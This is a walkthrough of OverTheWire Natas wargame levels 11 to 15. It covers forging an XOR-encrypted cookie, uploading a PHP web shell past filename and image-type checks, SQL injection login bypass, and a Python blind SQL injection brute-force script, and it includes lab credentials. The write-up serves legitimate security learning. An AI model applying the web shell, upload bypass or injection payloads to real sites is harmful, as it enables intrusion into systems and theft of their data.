Natas11-15
nurfitri •NATAS11
- this level is quite challenging for beginner, we need to understand php.
- we are given an input box to change background color.
- inspecting the source code, we noticed that our password is shown based on this condition
<? if($data["showpassword"] == "yes") { print "The password for natas12 is <censored><br>"; } ?>
- tracing the variable data, it come from here
$data = loadData($defaultdata);
- it gets it value from passing defaultdata into loadData function.
//default data $defaultdata = array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); //our function function loadData($def) { global $_COOKIE; //using cookie $mydata = $def; //asign default data to mydata //check if there is cookie called data. if(array_key_exists("data", $_COOKIE)) { // ---------------important part------------------ //simply decode the cookie and assign to temptdata. $tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); //------------------------------------------------ //---------less important part------------------ //check if cookies decoded correctly if(is_array($tempdata) && array_key_exists("showpassword", $tempdata) && array_key_exists("bgcolor", $tempdata)) { //if so, and if bgcolor in hex format if (preg_match('/^#(?:[a-f\d]{6})$/i', $tempdata['bgcolor'])) { //asign temptdata to mydata $mydata['showpassword'] = $tempdata['showpassword']; $mydata['bgcolor'] = $tempdata['bgcolor']; } } // ----------------------------------------------- } //return back mydata return $mydata; //if ! _COOKIE["data"]; then myData = defaultData }
- looking at loadData, we know that our $data can also take value from cookie.
- we notice that the cookies is stored as the encoded string.
function saveData($d) { setcookie("data", base64_encode(xor_encrypt(json_encode($d)))); // base64_encode(xor_encrypt(json_encode($d))) // plain-> (json->xor->base64->) encoded }
- this part of code telly with the decoding part in loadData()
$tempdata = json_decode(xor_encrypt(base64_decode($_COOKIE["data"])), true); //decode // encode -> (base64->xor->json_d) -> plain
- so here we know that data in cookie get encoded.
- but we don't really need to decode it, we just need to set the cookie value of "showpassword" to "yes"
array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"); //instead of no
- for us to trick the page into showing the password.
- but the problem is we need to encrypt the cookie value.
- we can find the default cookie set by the page using Dev console > Application > Storage > Cookies.
- we can try encrypt the our cookie by using this script running locally on our pc.
$defaultdata= array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); function xor_encrypt($in) { $key = '<censored>'; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $encrypt = base64_encode(xor_encrypt(json_encode($defaultdata))); echo "cookie: $encrypt";
- we got this
cookie: R0EWBhwYAgQXTUsMFwpRVVALCxwQQQcJEAAeChYcBkFGCBUJFAMCHEE=
- this is weird, we are using the same default value but, our cookie that we get from our code is not same as default cookie set by the page.
- we can try decode the dafault cookie set by the page using this script.
<?php $cookie = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D"; function xor_encrypt($in) { $key = '<censored>'; $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $decrypt = xor_encrypt(base64_decode($cookie)); echo "$decrypt"; // we expect => "array( "showpassword"=>"no", "bgcolor"=>"#ffffff")" ?>
- but the result is just rubbish value.
- so our code do not get decrypt correctly.
- if we set cookie to
R0EWBhwYAgQXTUsMFwpRVVALCxwQQQcJEAAeChYcBkFGCBUJFAMCHEE=
- we do get the expected value.
- the reason for this is, we are using the wrong key as being used by the page.
- so now we need to find the correct key being use to encrypt our cookie.
- we can find key by xoring plaintext with cypher.
plain xor key = encryp xor key = plain 10010011 xor 10010111 = 00000100 xor 10010111 = 10010011 plain xor encryp = key 10010011 xor 00000100 = 10010111
- from here we can alter our code to find the key
<?php $defaultdata= array( "showpassword"=>"no", "bgcolor"=>"#ffffff"); $cookie = "ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw%3D"; function xor_encrypt($in) { // $key = '<censored>'; global $cookie; $key = base64_decode($cookie); $text = $in; $outText = ''; // Iterate through each character for($i=0;$i<strlen($text);$i++) { $outText .= $text[$i] ^ $key[$i % strlen($key)]; } return $outText; } $key = xor_encrypt(json_encode($defaultdata)); echo "key: $key \n";
- running it and we got this
key: qw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jqw8Jq
- from here we assume the key is qw8J because the value is repeated to match the lenght of the text.
- we can now use the key inside the code we previously make, change the defaultdata value to "yes", to get the encoded cookie.
cookie: ClVLIh4ASCsCBE8lAxMacFMOXTlTWxooFhRXJh4FGnBTVF4sFxFeLFMK
- then we simply change the cookie value in browser, and refresh the page.
- and then we get the password
The password for natas12 is XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
NATAS12
- we got an upload form, seems like we need to exploit file upload vulnerability.
- then upload our shell to it.
- we first try to upload an empty shell.php file, then we got the name changed to some random string with extension of .jpg.
- inspecting the source code, we noticed, that there is a hidden input field that set the name before we upload
<input type="hidden" name="filename" value="<? print genRandomString();?>.jpg" />
- we somehow need to bypass this and one of the solution is to make our own request using curl.
- to upload file using curl we can use the -F tags,
- this will add enctype="multipart/form-data.
- don't forget to specify our Authentication token with -H tag.
- our curl command will look something like this.
curl \ -F 'filename=shell.php' \ -F 'uploadedfile=@./shell.php' \ -H 'Authorization: Basic bmF0YXMxMjpFRFhwMHBTMjZ3TEtIWnkxckRCUFVaazBSS2ZMR0lSMw==' \ http://natas12.natas.labs.overthewire.org/index.php
- let's try upload a simple php file
- content of our shell.php look like this
<?php echo phpinfo(); ?>
- we noticed that our upload process is successfull and we get the .php extension in our response.
The file <a href="upload/ekf1gg6bsz.php">upload/ekf1gg6bsz.php</a> has been uploaded
- clicking on that show us a phpinfo page.
- now it's time to create a simple PHP shell.
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
- after we upload it, navigate to our file and add the ?cmd=pwd query.
- we noticed that we got shell execution and able to run pwd command.
- now just cat the password file in /etc/natas_webpass/natas13
- we got the password
NATAS13
- this one is almost the same as previous one.
- the diffrerent is, it perform check for the file type using exif_imagetype().
//if our file is image it return value, else it return false // !false == true; else if (! exif_imagetype($_FILES['uploadedfile']['tmp_name'])) { echo "File is not an image"; }
- based on php official docs,
exif_imagetype() reads the first bytes of an image and checks its signature.
- maybe one way to bypass this is to change the first bytes of our php file into image magic number.
- from quick google we know that jpeg magic number is FF D8 FF E0
- so we simply append this hex as binary into the beginning of shell2.php
echo -n -e '\xFF\xD8\xFF\xE0'$(cat shell.php) > shell2.php
- we can check if we successfully change file type using file command
file -i shell2.php
- we get
shell2.php: image/jpeg; charset=iso-8859-1
- alternatively we can check using hexdump or xxd, and look at the first bytes
00000000: ffd8 ffe0 3c3f 7068 7020 6966 2869 7373 ....<?php if(iss 00000010: 6574 2824 5f47 4554 5b27 636d 6427 5d29 et($_GET['cmd']) 00000020: 297b 2073 7973 7465 6d28 245f 4745 545b ){ system($_GET[ 00000030: 2763 6d64 275d 293b 207d 203f 3e 'cmd']); } ?>
- we are successfully change our file type.
- now we can just upload it using previous method in natas12.
- dont forget to change the url and Authentication header in our curl command.
- we now got our password
NATAS14
- this one look like SQL injection, because the source code reveal alot about MYSQL.
- here are the login logic
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\" and password=\"".$_REQUEST["password"]."\""; if(array_key_exists("debug", $_GET)) { echo "Executing query: $query<br>"; } if(mysql_num_rows(mysql_query($query, $link)) > 0) { echo "Successful login! The password for natas15 is <censored><br>"; } else { echo "Access denied!<br>"; } mysql_close($link);
- we can see that, there is a debug option for us to see our query.
- we can meke use of it in the url ?debug&username=admin&password=test
- we can try this query to bypass password, so that the satement is true
?debug&username=admin"%20OR%201=1%20--%20"&password=test
- our query will look like this
SELECT * from users where username="admin" OR 1=1 -- "" and password="test"
- what it does is, username=admin OR 1=1-- and commented the rest of the code.
- now we are able to login and get the password
Successful login! The password for natas15 is XXXXXXXXXXXXXXXXXXXXXXXXXXX
NATAS15
- here it's still sql injection, but there no sight of our password.
- if the user exist it simply echo This user exists.
- we got nothing from database, this is a blind sql attack.
- what we need is our password for natas16.
- what information do we have ?
- in the source code, there is a clue of users table
CREATE TABLE `users` ( `username` varchar(64) DEFAULT NULL, `password` varchar(64) DEFAULT NULL );
- maybe our password are in that table.
- let's check if there is usernamed natas16.
- there is indeed a user called natas16
- now, how do we get the password ??
- in previous attack, we bypass the password check by commenting it.
- here in the code, there is no password checking.
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
- what we can do is, we can add password checking, and bruteforce the password.
$query = "SELECT * from users where username=\"". natas16" AND password LIKE BINARY " something ."\"";
- LIKE BINARY means we guessing short
- we know that the password is 32 characters long mix of alpha num mix capitalisation.
- let say if the password is Wx89iopAs
- if we gues W it will get correct, if we guessed Wa is wrong but Wx is right.
- so we can build up from that until we get to 32 characters long.
- here we can create a brute script that make a request and check for words This user exists
- here are example script to make request.
import requests import string #variables #create a-zA-Z0-10 strings of characters dicts = ''.join(string.ascii_letters+string.digits) dicts_filtered = '' password = '' #buffer to store each gen password header = {"Authorization": "Basic bmF0YXMxNTpBd1dqMHc1Y3Z4clppT05nWjlKNXN0TlZrbXhkazM5Sg=="} sqlURI = 'http://natas15.natas.labs.overthewire.org/index.php?debug' SQLQuery = '" and password LIKE BINARY "{}{}%"#' #filter the character in dictionary get only the exist characters for char in dicts: reqData = {'username':'natas16" and password LIKE BINARY "%{}%"#'.format(char)} res = requests.post(sqlURI,headers=header,data=reqData) # print("res:",res.text) if 'exists' in res.text: dicts_filtered +=char print('filtered:{}'.format(dicts_filtered)) #start bruteforcing using filtered print('Bruteforcing.....') for i in range(0,32): for char in dicts_filtered: reqData = {'username':'natas16'+SQLQuery.format(password,char)} res = requests.post(sqlURI,headers=header, data=reqData) #print(char) if 'exists' in res.text : password +=char print(password) break
- in our code, the first loop we done is to filter for characters that are not exist in the password.
- we ended up with these characters that are usable acehijmnpqtwBEHINORW03569
- then we loop thru those characters and guess the order until it forms a 32 characters strings that are valid.
WaIHEacj63wnNIBROHeqi3p9t0m5nhmh